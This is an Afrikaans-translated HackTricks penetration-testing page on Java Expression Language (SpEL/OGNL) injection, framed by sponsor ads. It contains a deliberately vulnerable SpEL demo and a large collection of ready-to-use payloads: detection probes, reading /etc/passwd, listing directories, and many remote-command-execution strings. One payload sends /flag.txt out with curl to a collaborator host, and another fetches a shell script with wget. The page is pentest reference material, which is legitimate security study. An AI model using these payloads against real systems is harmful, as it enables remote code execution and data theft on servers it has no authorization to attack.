hacktricks/pentesting-web/ssti-server-side-template-injection/el-expression-language.md

# EL - Uitdrukkings Taal

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### [WhiteIntel](https://whiteintel.io)

<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>

[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte deur **steel malware** **gekompromiteer** is.

Die primêre doel van WhiteIntel is om rekening-oorneemings en lospryse aanvalle te beveg wat voortspruit uit inligtingsteel malware.

Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:

{% embed url="https://whiteintel.io" %}

---

## Basiese Inligting

Uitdrukkings Taal (EL) is integraal in JavaEE vir die koppeling van die aanbiedingslaag (bv., webbladsye) en aansoeklogika (bv., bestuurde bone), wat hul interaksie moontlik maak. Dit word hoofsaaklik gebruik in:

- **JavaServer Faces (JSF)**: Vir die koppel van UI-komponente aan agterste data/aksies.
- **JavaServer Pages (JSP)**: Vir data toegang en manipulasie binne JSP-bladsye.
- **Contexts and Dependency Injection for Java EE (CDI)**: Vir die fasilitering van weblaag interaksie met bestuurde bone.

**Gebruikskontekste**:

- **Spring Raamwerk**: Toegepas in verskeie modules soos Sekuriteit en Data.
- **Algemene Gebruik**: Deur SpEL API deur ontwikkelaars in JVM-gebaseerde tale soos Java, Kotlin, en Scala.

EL is teenwoordig in JavaEE tegnologieë, selfstandige omgewings, en herkenbaar deur `.jsp` of `.jsf` lêeruitbreidings, stapfoute, en terme soos "Servlet" in koppe. Nietemin kan sy kenmerke en die gebruik van sekere karakters weergawe-afhanklik wees.

{% hint style="info" %}
Afhanklik van die **EL weergawe** mag sommige **kenmerke** aan of af wees en gewoonlik mag sommige **karakters** nie toegelaat word nie.
{% endhint %}

## Basiese Voorbeeld

(Jy kan 'n ander interessante handleiding oor EL vind in [https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/))

Laai die jar-lêers af van die [**Maven**](https://mvnrepository.com) bewaarplek:

* `commons-lang3-3.9.jar`
* `spring-core-5.2.1.RELEASE.jar`
* `commons-logging-1.2.jar`
* `spring-expression-5.2.1.RELEASE.jar`

En skep die volgende `Main.java` lêer:
```java
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
public static ExpressionParser PARSER;

public static void main(String[] args) throws Exception {
PARSER = new SpelExpressionParser();

System.out.println("Enter a String to evaluate:");
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
String input = stdin.readLine();
Expression exp = PARSER.parseExpression(input);
String result = exp.getValue().toString();
System.out.println(result);
}
}
```
Volgende kompileer die kode (as jy nie `javac` geïnstalleer het nie, installeer `sudo apt install default-jdk`):
```java
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
```
Voer die aansoek uit met:
```java
java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
{5*5}
[25]
```
Merk op hoe in die vorige voorbeeld die term `{5*5}` **geëvalueer** was.

## **CVE Gebaseerde Handleiding**

Kyk daarna in **hierdie pos: [https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)**

## Lading

### Basiese aksies
```bash
#Basic string operations examples
{"a".toString()}
[a]

{"dfd".replace("d","x")}
[xfx]

#Access to the String class
{"".getClass()}
[class java.lang.String]

#Access ro the String class bypassing "getClass"
#{""["class"]}

#Access to arbitrary class
{"".getClass().forName("java.util.Date")}
[class java.util.Date]

#List methods of a class
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)]
```
### Opsporing

* Burp opsporing
```bash
gk6q${"zkz".toString().replace("k", "x")}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
```
* J2EE opsporing
```bash
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
```
* Slaap 10 sekondes
```bash
#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
```
### Verre lêer insluiting
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
```
### Gidslys
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..
```
### RCE

* Basiese RCE **verduideliking**
```bash
#Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
[public static java.lang.Runtime java.lang.Runtime.getRuntime()]

#Execute command (you won't see the command output in the console)
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
[Process[pid=10892, exitValue=0]]

#Execute command bypassing "getClass"
#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}

# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
```
* Uitvoering van kode **linux**
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
```
* RCE **Windows** (nie getoets nie)
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
```
* **Meer RCE**
```java
// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()

// Method using Runtime via getDeclaredConstructors
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}

// Method using processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}

// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}

// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}

// Method using ScriptEngineManager
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");

//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
T(java.lang.System).getenv()[0]
T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')
```
### Inspekteer die omgewing

* `applicationScope` - globale aansoekveranderlikes
* `requestScope` - versoekveranderlikes
* `initParam` - aansoekinisialiseringsveranderlikes
* `sessionScope` - sessieveranderlikes
* `param.X` - paramwaarde waar X die naam van 'n http-parameter is

Jy sal hierdie veranderlikes na 'n string moet omskep soos:
```bash
${sessionScope.toString()}
```
#### Toestemmingsverbyloopvoorbeeld
```bash
${pageContext.request.getSession().setAttribute("admin", true)}
```
Die aansoek kan ook aangepaste veranderlikes gebruik soos:
```bash
${user}
${password}
${employee.FirstName}
```
## WAF Deurbraak

Kyk [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/)

## Verwysings

* [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/)
* [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
* [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)

### [WhiteIntel](https://whiteintel.io)

<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>

[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.

Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.

You can check their website and try their engine for **free** at:

{% embed url="https://whiteintel.io" %}

<details>

<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

* Werk jy in 'n **cybersecurity maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>